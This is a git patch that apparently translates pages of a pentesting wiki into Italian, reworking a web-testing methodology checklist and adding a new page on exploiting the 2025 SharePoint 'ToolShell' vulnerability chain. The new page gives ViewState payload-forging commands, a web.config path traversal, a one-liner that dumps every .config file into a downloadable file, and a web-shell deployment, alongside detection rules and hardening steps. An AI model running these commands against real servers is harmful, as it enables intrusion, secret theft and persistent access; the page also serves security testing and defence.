From 7063e69ab9f54938d0d8d5ec4ead6953574ffd34 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 22 Jul 2025 14:14:17 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/pentesting-web/README.md', --- src/SUMMARY.md | 1 + .../pentesting-web/README.md | 57 ++++---- .../pentesting-web/microsoft-sharepoint.md | 126 ++++++++++++++++++ 3 files changed, 156 insertions(+), 28 deletions(-) create mode 100644 src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 09ba11160..088f962ff 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -423,6 +423,7 @@ - [Joomla](network-services-pentesting/pentesting-web/joomla.md) - [JSP](network-services-pentesting/pentesting-web/jsp.md) - [Laravel](network-services-pentesting/pentesting-web/laravel.md) + - [Microsoft Sharepoint](network-services-pentesting/pentesting-web/microsoft-sharepoint.md) - [Moodle](network-services-pentesting/pentesting-web/moodle.md) - [NextJS](network-services-pentesting/pentesting-web/nextjs.md) - [Nginx](network-services-pentesting/pentesting-web/nginx.md) diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index 2085e821b..656cae45d 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -4,7 +4,7 @@ ## Informazioni di Base -Il servizio web è il servizio più **comune ed esteso** e esistono molti **tipi diversi di vulnerabilità**. +Il servizio web è il più **comune e ampio servizio** e esistono molti **tipi diversi di vulnerabilità**. **Porta predefinita:** 80 (HTTP), 443(HTTPS) ```bash @@ -29,7 +29,7 @@ web-api-pentesting.md - [ ] Inizia **identificando** le **tecnologie** utilizzate dal server web. Cerca **trucchi** da tenere a mente durante il resto del test se riesci a identificare con successo la tecnologia. - [ ] Qualche **vulnerabilità nota** della versione della tecnologia? -- [ ] Stai usando qualche **tecnologia ben nota**? Qualche **trucco utile** per estrarre più informazioni? +- [ ] Utilizza qualche **tecnologia ben nota**? Qualche **trucco utile** per estrarre più informazioni? - [ ] Qualche **scanner specializzato** da eseguire (come wpscan)? - [ ] Avvia **scanner di uso generale**. Non sai mai se troveranno qualcosa o se troveranno informazioni interessanti. - [ ] Inizia con i **controlli iniziali**: **robots**, **sitemap**, errore **404** e **scansione SSL/TLS** (se HTTPS). @@ -39,7 +39,7 @@ web-api-pentesting.md - [ ] _Nota che ogni volta che viene scoperta una nuova directory durante il brute-forcing o lo spidering, dovrebbe essere forzata._ - [ ] **Controllo dei backup**: Verifica se riesci a trovare **backup** di **file scoperti** aggiungendo estensioni di backup comuni. - [ ] **Brute-Force dei parametri**: Prova a **trovare parametri nascosti**. -- [ ] Una volta che hai **identificato** tutti i possibili **endpoint** che accettano **input dell'utente**, controlla tutti i tipi di **vulnerabilità** ad essi correlate. +- [ ] Una volta che hai **identificato** tutti i possibili **endpoint** che accettano **input dell'utente**, controlla tutti i tipi di **vulnerabilità** correlate. - [ ] [Segui questa checklist](../../pentesting-web/web-vulnerabilities-methodology.md) ## Versione del server (Vulnerabile?) @@ -54,7 +54,7 @@ whatweb -a 3 #Aggresive webtech -u webanalyze -host https://google.com -crawl 2 ``` -Cerca **vulnerabilità dell'applicazione web** **versione**](../../generic-hacking/search-exploits.md) +Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md) ### **Controlla se ci sono WAF** @@ -76,8 +76,9 @@ Alcuni **trucchi** per **trovare vulnerabilità** in diverse **tecnologie** ben - [**Git**](git.md) - [**Golang**](golang.md) - [**GraphQL**](graphql.md) -- [**H2 - database SQL Java**](h2-java-sql-database.md) -- [**Trucchi IIS**](iis-internet-information-services.md) +- [**H2 - Java SQL database**](h2-java-sql-database.md) +- [**IIS tricks**](iis-internet-information-services.md) +- [**Microsoft SharePoint**](microsoft-sharepoint.md) - [**JBOSS**](jboss.md) - [**Jenkins**](<[https:/github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md](https:/github.com/HackTricks-wiki/hacktricks-cloud/tree/master/pentesting-ci-cd/jenkins-security)/>) - [**Jira**](jira.md) @@ -99,18 +100,18 @@ Alcuni **trucchi** per **trovare vulnerabilità** in diverse **tecnologie** ben - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html) _Tieni presente che il **stesso dominio** può utilizzare **tecnologie diverse** su **porte**, **cartelle** e **sottodomini** diversi._\ -Se l'applicazione web utilizza qualche **tecnologia/piattaforma ben nota elencata sopra** o **qualsiasi altra**, non dimenticare di **cercare su Internet** nuovi trucchi (e fammi sapere!). +Se l'applicazione web utilizza qualche **tecnologia/piattaforma ben nota elencata prima** o **qualsiasi altra**, non dimenticare di **cercare su Internet** nuovi trucchi (e fammi sapere!). ### Revisione del codice sorgente -Se il **codice sorgente** dell'applicazione è disponibile su **github**, oltre a eseguire un test **White box** dell'applicazione, ci sono **alcune informazioni** che potrebbero essere **utili** per il **test Black-Box** attuale: +Se il **codice sorgente** dell'applicazione è disponibile su **github**, oltre a eseguire un **test White box** dell'applicazione, ci sono **alcune informazioni** che potrebbero essere **utili** per il **test Black-Box** attuale: - C'è un file **Change-log o Readme o Version** o qualsiasi cosa con **informazioni sulla versione accessibili** via web? - Come e dove sono salvate le **credenziali**? C'è qualche **file** (accessibile?) con credenziali (nomi utente o password)? -- Le **password** sono in **testo semplice**, **crittografate** o quale **algoritmo di hashing** è utilizzato? -- Viene utilizzata qualche **chiave master** per crittografare qualcosa? Quale **algoritmo** è utilizzato? +- Le **password** sono in **testo semplice**, **crittografate** o quale **algoritmo di hashing** viene utilizzato? +- Viene utilizzata qualche **chiave master** per crittografare qualcosa? Quale **algoritmo** viene utilizzato? - Puoi **accedere a uno di questi file** sfruttando qualche vulnerabilità? -- Ci sono informazioni **interessanti su github** (problemi risolti e non risolti)? O nella **cronologia dei commit** (forse qualche **password introdotta in un vecchio commit**)? +- Ci sono **informazioni interessanti su github** (problemi risolti e non risolti)? O nella **cronologia dei commit** (forse qualche **password introdotta in un vecchio commit**)? {{#ref}} code-review-tools.md @@ -145,7 +146,7 @@ wpscan --force update -e --url joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` -> A questo punto dovresti già avere alcune informazioni sul server web utilizzato dal cliente (se sono disponibili dati) e alcuni trucchi da tenere a mente durante il test. Se sei fortunato, hai persino trovato un CMS e eseguito qualche scanner. +> A questo punto dovresti già avere alcune informazioni sul server web utilizzato dal cliente (se sono stati forniti dati) e alcuni trucchi da tenere a mente durante il test. Se sei fortunato, hai persino trovato un CMS e eseguito qualche scanner. ## Scoperta dell'applicazione web passo dopo passo @@ -164,7 +165,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs **Forzare errori** -I server web possono **comportarsi in modo imprevisto** quando dati strani vengono inviati. Questo può aprire **vulnerabilità** o **divulgare informazioni sensibili**. +I server web possono **comportarsi in modo imprevisto** quando vengono inviati dati strani. Questo può aprire **vulnerabilità** o **divulgare informazioni sensibili**. - Accedi a **pagine false** come /whatever_fake.php (.aspx,.html,.ecc) - **Aggiungi "\[]", "]]" e "\[\["** nei **valori dei cookie** e nei **valori dei parametri** per creare errori @@ -199,7 +200,7 @@ Informazioni sulle vulnerabilità SSL/TLS: ### Spidering -Lanciare qualche tipo di **spider** all'interno del web. L'obiettivo dello spider è **trovare il maggior numero possibile di percorsi** dall'applicazione testata. Pertanto, dovrebbero essere utilizzati web crawling e fonti esterne per trovare il maggior numero possibile di percorsi validi. +Lanciare qualche tipo di **spider** all'interno del web. L'obiettivo dello spider è **trovare il maggior numero possibile di percorsi** dall'applicazione testata. Pertanto, dovrebbero essere utilizzati il crawling web e fonti esterne per trovare il maggior numero possibile di percorsi validi. - [**gospider**](https://github.com/jaeles-project/gospider) (go): spider HTML, LinkFinder in file JS e fonti esterne (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). - [**hakrawler**](https://github.com/hakluke/hakrawler) (go): spider HML, con LinkFinder per file JS e Archive.org come fonte esterna. @@ -211,7 +212,7 @@ Lanciare qualche tipo di **spider** all'interno del web. L'obiettivo dello spide - [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Questo script troverà URL con parametri e li elencherà. - [**galer**](https://github.com/dwisiswant0/galer) (go): spider HTML con capacità di rendering JS. - [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): spider HTML, con capacità di abbellimento JS in grado di cercare nuovi percorsi in file JS. Potrebbe valere la pena dare un'occhiata anche a [JSScanner](https://github.com/dark-warlord14/JSScanner), che è un wrapper di LinkFinder. -- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Per estrarre endpoint sia nel sorgente HTML che nei file javascript incorporati. Utile per cacciatori di bug, red teamers, ninja dell'infosec. +- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Per estrarre endpoint sia nel codice sorgente HTML che nei file javascript incorporati. Utile per cacciatori di bug, red teamers, ninja dell'infosec. - [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Uno script python 2.7 che utilizza Tornado e JSBeautifier per analizzare URL relativi da file JavaScript. Utile per scoprire facilmente richieste AJAX. Sembra non essere mantenuto. - [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dato un file (HTML) estrarrà URL da esso utilizzando espressioni regolari per trovare ed estrarre gli URL relativi da file brutti (minificati). - [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, diversi strumenti): Raccogliere informazioni interessanti da file JS utilizzando diversi strumenti. @@ -219,7 +220,7 @@ Lanciare qualche tipo di **spider** all'interno del web. L'obiettivo dello spide - [**page-fetch**](https://github.com/detectify/page-fetch) (go): Carica una pagina in un browser headless e stampa tutti gli URL caricati per caricare la pagina. - [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Strumento di scoperta dei contenuti che mescola diverse opzioni degli strumenti precedenti. - [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Un'estensione di Burp per trovare percorsi e parametri in file JS. -- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Uno strumento che dato l'URL .js.map ti fornirà il codice JS abbellito. +- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Uno strumento che, dato l'URL .js.map, ti fornirà il codice JS abbellito. - [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Questo è uno strumento utilizzato per scoprire endpoint per un dato target. - [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Scoprire link dalla wayback machine (scaricando anche le risposte nella wayback e cercando ulteriori link). - [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (anche compilando moduli) e trova anche informazioni sensibili utilizzando regex specifici. @@ -229,7 +230,7 @@ Lanciare qualche tipo di **spider** all'interno del web. L'obiettivo dello spide - [**katana**](https://github.com/projectdiscovery/katana) (go): Strumento fantastico per questo. - [**Crawley**](https://github.com/s0rg/crawley) (go): Stampa ogni link che riesce a trovare. -### Brute Force directory e file +### Brute Force di directory e file Inizia a **brute-forzare** dalla cartella radice e assicurati di brute-forzare **tutte** le **directory trovate** utilizzando **questo metodo** e tutte le directory **scoperte** dallo **Spidering** (puoi fare questo brute-forcing **ricorsivamente** e aggiungendo all'inizio della wordlist utilizzata i nomi delle directory trovate).\ Strumenti: @@ -240,15 +241,15 @@ Strumenti: - [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Veloce, supporta ricerca ricorsiva.** - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` - [**ffuf** ](https://github.com/ffuf/ffuf)- Veloce: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` -- [**uro**](https://github.com/s0md3v/uro) (python): Questo non è uno spider ma uno strumento che dato l'elenco di URL trovati eliminerà gli URL "duplicati". +- [**uro**](https://github.com/s0md3v/uro) (python): Questo non è uno spider ma uno strumento che, data la lista di URL trovati, eliminerà gli URL "duplicati". - [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Estensione di Burp per creare un elenco di directory dalla cronologia di burp di diverse pagine. - [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Rimuove URL con funzionalità duplicate (basato su importazioni js). - [**Chamaleon**](https://github.com/iustin24/chameleon): Utilizza wapalyzer per rilevare le tecnologie utilizzate e selezionare le wordlist da utilizzare. -**Dizionari consigliati:** +**Dizionari raccomandati:** - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt) -- [**Dizionario incluso di Dirsearch**](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) +- [**Dizionario incluso in Dirsearch**](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) - [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10) - [Assetnote wordlists](https://wordlists.assetnote.io) - [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content) @@ -266,7 +267,7 @@ Strumenti: _Nota che ogni volta che viene scoperta una nuova directory durante il brute-forcing o lo spidering, dovrebbe essere Brute-Forzata._ -### Cosa controllare su ogni file trovato +### Cosa controllare in ogni file trovato - [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Trova link rotti all'interno degli HTML che potrebbero essere soggetti a takeover. - **File di backup**: Una volta trovati tutti i file, cerca i backup di tutti i file eseguibili ("_.php_", "_.aspx_"...). Le variazioni comuni per nominare un backup sono: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp e file.old._ Puoi anche utilizzare lo strumento [**bfac**](https://github.com/mazen160/bfac) **o** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** @@ -276,22 +277,22 @@ _Nota che ogni volta che viene scoperta una nuova directory durante il brute-for - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) - **Commenti:** Controlla i commenti di tutti i file, puoi trovare **credenziali** o **funzionalità nascoste**. -- Se stai partecipando a un **CTF**, un trucco "comune" è **nascondere** **informazioni** all'interno dei commenti a destra della **pagina** (utilizzando **centinaia** di **spazi** in modo da non vedere i dati se apri il codice sorgente con il browser). Un'altra possibilità è utilizzare **diverse nuove righe** e **nascondere informazioni** in un commento in fondo alla pagina web. +- Se stai partecipando a un **CTF**, un trucco "comune" è **nascondere** **informazioni** all'interno dei commenti a destra della **pagina** (utilizzando **centinaia** di **spazi** in modo da non vedere i dati se apri il codice sorgente con il browser). Un'altra possibilità è utilizzare **diverse nuove righe** e **nascondere informazioni** in un commento nella **parte inferiore** della pagina web. - **API keys**: Se **trovi qualche API key** c'è una guida che indica come utilizzare le API key di diverse piattaforme: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird). -- Google API keys: Se trovi qualche API key che assomiglia a **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik puoi utilizzare il progetto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) per controllare quali API la chiave può accedere. +- Google API keys: Se trovi qualche API key che assomiglia a **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik puoi utilizzare il progetto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) per controllare quali API può accedere la chiave. - **S3 Buckets**: Durante lo spidering controlla se qualche **subdominio** o qualche **link** è correlato a qualche **S3 bucket**. In tal caso, [**controlla** le **permissive** del bucket](buckets/index.html). ### Scoperte speciali -**Mentre** esegui lo **spidering** e il **brute-forcing** potresti trovare **cose** **interessanti** di cui devi **prendere nota**. +**Mentre** esegui lo **spidering** e il **brute-forcing** potresti trovare **cose** **interessanti** che devi **notare**. **File interessanti** - Cerca **link** ad altri file all'interno dei file **CSS**. - [Se trovi un file _**.git**_ alcune informazioni possono essere estratte](git.md). -- Se trovi un _**.env**_ informazioni come chiavi API, password db e altre informazioni possono essere trovate. -- Se trovi **API endpoints** dovresti [testarli anche](web-api-pentesting.md). Questi non sono file, ma probabilmente "sembreranno" tali. -- **File JS**: Nella sezione spidering sono stati menzionati diversi strumenti che possono estrarre percorsi da file JS. Inoltre, sarebbe interessante **monitorare ogni file JS trovato**, poiché in alcune occasioni, una modifica potrebbe indicare che una potenziale vulnerabilità è stata introdotta nel codice. Potresti usare ad esempio [**JSMon**](https://github.com/robre/jsmon)**.** +- Se trovi un _**.env**_ possono essere trovate informazioni come chiavi API, password db e altre informazioni. +- Se trovi **API endpoints** dovresti [testarli anche](web-api-pentesting.md). Questi non sono file, ma probabilmente "sembra" che lo siano. +- **File JS**: Nella sezione spidering sono stati menzionati diversi strumenti che possono estrarre percorsi da file JS. Inoltre, sarebbe interessante **monitorare ogni file JS trovato**, poiché in alcune occasioni, una modifica potrebbe indicare che una potenziale vulnerabilità è stata introdotta nel codice. Potresti utilizzare ad esempio [**JSMon**](https://github.com/robre/jsmon)**.** - Dovresti anche controllare i file JS scoperti con [**RetireJS**](https://github.com/retirejs/retire.js/) o [**JSHole**](https://github.com/callforpapers-source/jshole) per scoprire se è vulnerabile. - **Javascript Deobfuscator e Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator). - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org). @@ -308,7 +309,7 @@ _Nota che ogni volta che viene scoperta una nuova directory durante il brute-for **502 Proxy Error** -Se qualche pagina **risponde** con quel **codice**, è probabilmente un **proxy mal configurato**. **Se invii una richiesta HTTP come: `GET https://google.com HTTP/1.1`** (con l'intestazione host e altre intestazioni comuni), il **proxy** cercherà di **accedere** a _**google.com**_ **e avrai trovato un** SSRF. +Se qualche pagina **risponde** con quel **codice**, è probabilmente un **proxy mal configurato**. **Se invii una richiesta HTTP come: `GET https://google.com HTTP/1.1`** (con l'intestazione host e altre intestazioni comuni), il **proxy** cercherà di **accedere** _**google.com**_ **e avrai trovato un** SSRF. **NTLM Authentication - Info disclosure** diff --git a/src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md b/src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md new file mode 100644 index 000000000..8d320bd56 --- /dev/null +++ b/src/network-services-pentesting/pentesting-web/microsoft-sharepoint.md @@ -0,0 +1,126 @@ +# Microsoft SharePoint – Pentesting & Exploitation + +{{#include ../../banners/hacktricks-training.md}} + +> Microsoft SharePoint (on-premises) è costruito su ASP.NET/IIS. La maggior parte della superficie di attacco web classica (ViewState, Web.Config, web shells, ecc.) è quindi presente, ma SharePoint include anche centinaia di pagine ASPX proprietarie e servizi web che ampliano notevolmente la superficie di attacco esposta. Questa pagina raccoglie trucchi pratici per enumerare, sfruttare e persistere all'interno degli ambienti SharePoint con enfasi sulla catena di exploit 2025 divulgata da Unit42 (CVE-2025-49704/49706/53770/53771). + +## 1. Quick enumeration +``` +# favicon hash and keywords +curl -s https:///_layouts/15/images/SharePointHome.png +curl -s https:///_vti_bin/client.svc | file - # returns WCF/XSI + +# version leakage (often in JS) +curl -s https:///_layouts/15/init.js | grep -i "spPageContextInfo" + +# interesting standard paths +/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain +/_vti_bin/Lists.asmx # legacy SOAP service +/_catalogs/masterpage/Forms/AllItems.aspx + +# enumerate sites & site-collections (requires at least Anonymous) +python3 Office365-ADFSBrute/SharePointURLBrute.py -u https:// +``` +## 2. 2025 exploit chain (a.k.a. “ToolShell”) + +### 2.1 CVE-2025-49704 – Code Injection on ToolPane.aspx + +`/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=` consente l'inserimento di codice *Server-Side Include* arbitrario nella pagina che viene successivamente compilata da ASP.NET. Un attaccante può incorporare C# che esegue `Process.Start()` e inserire un ViewState malevolo. + +### 2.2 CVE-2025-49706 – Improper Authentication Bypass + +La stessa pagina si fida dell'intestazione **X-Forms_BaseUrl** per determinare il contesto del sito. Puntandola a `/_layouts/15/`, la MFA/SSO imposta nel sito principale può essere bypassata **senza autenticazione**. + +### 2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization → RCE + +Una volta che l'attaccante controlla un gadget in `ToolPane.aspx`, può inviare un valore `__VIEWSTATE` **non firmato** (o solo MAC) che attiva la deserializzazione .NET all'interno di *w3wp.exe*, portando all'esecuzione di codice. + +Se la firma è abilitata, rubare il **ValidationKey/DecryptionKey** da qualsiasi `web.config` (vedi 2.4) e forgiare il payload con *ysoserial.net* o *ysodom*: +``` +ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" | +ViewStateGenerator.exe --validation-key --decryption-key -o payload.txt +``` +Per una spiegazione approfondita su come abusare di ASP.NET ViewState leggi: +{{#ref}} +../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md +{{#endref}} + +### 2.4 CVE-2025-53771 – Path Traversal / divulgazione di web.config + +Inviare un parametro `Source` creato a `ToolPane.aspx` (ad es. `../../../../web.config`) restituisce il file mirato, consentendo la fuga di: + +* `` ➜ forgiare i cookie ViewState / ASPXAUTH +* stringhe di connessione e segreti. + +## 3. Ricette di post-sfruttamento osservate in natura + +### 3.1 Esfiltrare ogni file *.config* (variazione-1) +``` +cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js" +``` +Il file risultante `debug_dev.js` può essere scaricato in modo anonimo e contiene **tutte** le configurazioni sensibili. + +### 3.2 Distribuire una shell web ASPX codificata in Base64 (variazione-2) +``` +powershell.exe -EncodedCommand +``` +Esempio di payload decodificato (abbreviato): +```csharp +<%@ Page Language="C#" %> +<%@ Import Namespace="System.Security.Cryptography" %> + +``` +Scritto a: +``` +C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx +``` +La shell espone endpoint per **leggere / ruotare le chiavi della macchina** che consente di forgiare i cookie ViewState e ASPXAUTH attraverso la farm. + +### 3.3 Variante offuscata (variazione-3) + +Stessa shell ma: +* posizionata sotto `...\15\TEMPLATE\LAYOUTS\` +* nomi delle variabili ridotti a lettere singole +* `Thread.Sleep()` aggiunto per evasione della sandbox e bypass basato sul timing. + +## 4. Idee di rilevamento + +| Telemetria | Perché è sospetta | +|------------|-------------------| +| `w3wp.exe → cmd.exe` | Il processo worker dovrebbe raramente generare una shell | +| `cmd.exe → powershell.exe -EncodedCommand` | Modello classico di lolbin | +| Eventi di file che creano `debug_dev.js` o `spinstall0.aspx` | IOCs direttamente da ToolShell | +| `ProcessCmdLine CONTIENE ToolPane.aspx` (log ETW/Modulo) | PoC pubbliche invocano questa pagina | + +Esempio di regola XDR / Sysmon (pseudo-XQL): +``` +proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe") +``` +## 5. Indurimento e Mitigazione + +1. **Patch** – Gli aggiornamenti di sicurezza di luglio 2025 risolvono *tutti* e quattro i CVE. +2. **Ruotare** ogni `` e i segreti di `ViewState` dopo una compromissione. +3. Rimuovere il permesso di scrittura *LAYOUTS* dai gruppi `WSS_WPG` e `WSS_ADMIN_WPG`. +4. Bloccare l'accesso esterno a `/_layouts/15/ToolPane.aspx` a livello di proxy/WAF. +5. Abilitare **ViewStateUserKey**, **MAC abilitato** e *EventValidation* personalizzato. + +## Trucchi correlati + +* Post-sfruttamento di IIS e abuso di web.config: +{{#ref}} +../../network-services-pentesting/pentesting-web/iis-internet-information-services.md +{{#endref}} + +## Riferimenti + +- [Unit42 – Sfruttamento attivo delle vulnerabilità di Microsoft SharePoint](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/) +- [GitHub PoC – Catena di sfruttamento ToolShell](https://github.com/real-or-not/ToolShell) +- [Avviso di sicurezza Microsoft – CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704) +- [Avviso di sicurezza Microsoft – CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770) + +{{#include ../../banners/hacktricks-training.md}}